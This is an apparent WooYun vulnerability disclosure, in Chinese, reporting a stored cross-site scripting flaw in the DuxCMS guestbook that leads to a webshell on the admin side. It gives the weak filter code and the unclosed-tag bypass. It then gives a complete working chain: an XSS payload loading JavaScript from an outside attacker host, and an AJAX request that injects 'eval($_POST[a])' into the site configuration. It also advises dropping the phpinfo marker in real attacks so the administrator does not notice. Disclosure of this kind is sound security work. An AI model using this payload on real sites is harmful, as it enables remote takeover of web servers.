当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063052

漏洞标题:duxcms存储跨站导致GETSHELL

相关厂商:DuxCms

漏洞作者: phith0n

提交时间:2014-06-03 18:31

修复时间:2014-09-01 18:32

公开时间:2014-09-01 18:32

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-09-01: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

逗逗让我看的CMS,百度一下用户量还是有的,也没人研究过,我继续试试。
这个是盲打,后台直接getshell。

详细说明:

这个cms装上了还挺清新的,感觉比cmseasy要好看一点(都是小企业站)
黑盒测试了一下,
开始以为留言板xss直接没过滤,打后台,biangbiang响~~
后来看了看源码,开发者认为此处是一个富文本框,但又过滤的很少,跟没过滤一样。
system/lib/common.function.php 59行开始:

//html代码输入
function html_in($str,$xss=false){
$search = array ("'<script[^>]*?>.*?</script>'si", // 去掉 javascript
"'<iframe[^>]*?>.*?</iframe>'si", // 去掉iframe
);
$replace = array ("",
"",
);
if($xss){
$str=@preg_replace ($search, $replace, $str);
}
$str=htmlspecialchars($str);
if(!get_magic_quotes_gpc()) {
$str = addslashes($str);
}
return $str;
}
//html代码输出
function html_out($str){
if(function_exists('htmlspecialchars_decode'))
$str=htmlspecialchars_decode($str);
else
$str=html_entity_decode($str);
$str = stripslashes($str);
return $str;
}


留言时调用html_in插入数据库,后台查看时调用html_out输出。过滤了<script,不过很容易绕过,</script>不闭合即可。
后台再getshell比较简单,详见漏洞证明吧。

漏洞证明:

留言板插入xss:

05.jpg


后台查看留言触发:

06.jpg


后台配置文件可以插马,没过滤引号,于是利用这个xss可以getshell。
构造一个js,能直接getshell的:
http://xxx/sec.js

$.ajax({
"url": "http://localhost/duxcms/admin/index.php/setting/save/time-time()",
"type": "POST",
"data": "sitename=DUXWEB%E5%BC%80%E6%BA%90%E4%B8%AD%E5%BF%83%2Cduxcms%E5%86%85%E5%AE%B9%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F&seoname=%E5%85%8D%E8%B4%B9%E5%B0%8F%E5%B7%A7%E7%9A%84%E7%BD%91%E7%AB%99%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F&siteurl=http%3A%2F%2Fwww.duxcms.com&keywords=%E5%B0%8F%E5%B7%A7CMS%2C%E5%85%8D%E8%B4%B9CMS&description=DUXCMS%E6%98%AF%E4%B8%80%E6%AC%BE%E5%9F%BA%E4%BA%8EPHP%2BMYSQL%2C%E9%87%87%E7%94%A8CANPHP%E6%A1%86%E6%9E%B6%E7%BC%96%E5%86%99%E7%9A%84%E4%B8%80%E6%AC%BE%E9%92%88%E5%AF%B9%E5%A4%A7%E5%B0%8F%E5%9E%8B%E5%85%AC%E5%8F%B8%E4%BC%81%E4%B8%9A%E3%80%81%E6%94%BF%E5%BA%9C%E7%AD%89%E9%80%9A%E7%94%A8%E7%9A%84%E5%BC%80%E6%BA%90cms%E7%A8%8B%E5%BA%8F%E3%80%82&masteremail=admin%40dxcms.net&copyright=%E7%89%88%E6%9D%83%E4%BF%A1%E6%81%AF&AUTHO_KEY=000-000-000&DEBUG=true&ERROR_HANDLE=true&URL_REWRITE_ON=false&HTML_CACHE_ON=false&HTML_CACHE_RULE%7Cindex%7C*=5000&HTML_CACHE_RULE%7Cempty%7C*=5000&HTML_CACHE_RULE%7Csearch%7C*=5000&DB_CACHE_ON=false&TPL_CACHE_ON=false&LANG_OPEN=false&LANG_DEFAULT=zh&MOBILE_OPEN=false&MOBILE_DOMAIN=&TPL_TEMPLATE_PATH=themes%2Fdefault%2F&TPL_INDEX=index.html&TPL_COMMON=common.html&TPL_SEARCH=srarch.html&TPL_TAGS=tags.html&TPL_TAGS_INDEX=tags_index.html&TPL_SEARCH_PAGE=20&TPL_TAGS_PAGE=20&TPL_TAGS_INDEX_PAGE=20&ACCESSPRY_SIZE=500&ACCESSPRY_NUM=300&ACCESSPRY_TYPE=jpg%2Cbmp%2Cgif%2Cpng%2Cflv%2Cmp4%2Cmp3%2Cwma%2Cmp4%2C7z%2Czip%2Crar%2Cppt%2Ctxt%2Cpdf%2Cxls%2Cdoc%2Cswf%2Cwmv%2Cavi%2Crmvb%2Crm'%3Bphpinfo()%3Beval(%24_POST%5Ba%5D)%3B%23&WATERMARK_CUTOUT=true&THUMBNAIL_SWIHCH=true&THUMBNAIL_MAXWIDTH=210&THUMBNAIL_MAXHIGHT=110&WATERMARK_SWITCH=false&WATERMARK_PLACE=5&WATERMARK_IMAGE=logo.png"
})


以上js作为原创加载的js,xss payload如下:

<script src=//xxx/sec.js></script <span>hello world</span>


盲打后即可getshell。为了演示我加上了一个phpinfo,实战的时候把他去掉,否则管理员一眼就看出来了:

07.jpg


马已经插入配置文件:

08.jpg

修复方案:

htmlspecialchar

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝